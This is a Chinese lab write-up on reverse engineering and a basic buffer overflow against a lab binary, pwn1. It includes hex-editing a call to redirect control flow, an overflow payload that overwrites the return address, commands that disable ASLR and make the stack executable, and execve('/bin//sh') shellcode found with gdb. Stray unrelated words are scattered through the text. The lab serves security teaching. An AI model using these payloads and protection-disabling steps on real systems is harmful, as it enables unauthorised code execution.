實驗一 逆向及Bof基礎shell
1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼編程
NOP彙編指令的機器碼是"90"
JNE彙編指令的機器碼是"75"
JE 彙編指令的機器碼是"74"
JMP彙編指令的機器碼是"eb"
CMP彙編指令的機器碼是"39"
詳情可見彙編指令及機器碼速查dom
2.掌握反彙編與十六進制編程器spa
1)反彙編命令:objdump -d pwn20155236 | more
按ESC鍵
輸入以下,將顯示模式切換爲16進制模式
:%!xxd
查找要修改的內容
/e8d7
找到後先後的內容和反彙編的對比下,確認是地方是正確的
修改d7爲c3
轉換16進製爲原格式
:%!xxd -r
存盤退出vi
:wq
其中:%!xxd是把代碼轉成16進制數,不轉根本就是一堆亂碼,固然最後要用:%!xxd -r改回來調試
修改並保存以後再次反彙編查看結果
運行pwncode
二:
編輯輸入爲blog
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,可用xxd input查看input,隨後運行pwn1;
進程
三:
輸入下面的指令
execstack -s pwn1 //設置堆棧可執行
execstack -q pwn1 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space
構造輸入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
輸入(cat input_shellcode;cat) | ./pwn1,運行pwn1,而後打開頂一個終端,輸入ps -ef | grep pwn1找到pwn1的進程號
輸入gdb,進入gdb調試,輸入進程號
而後輸入info r,查看棧的地址
使用x/16x 0xffffd33c查看其存放內容
由咱們構造的input_shellcode可知,shellcode就在其後,修改成這個地址;
輸入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"' > input_shellcode
從新構造inputinput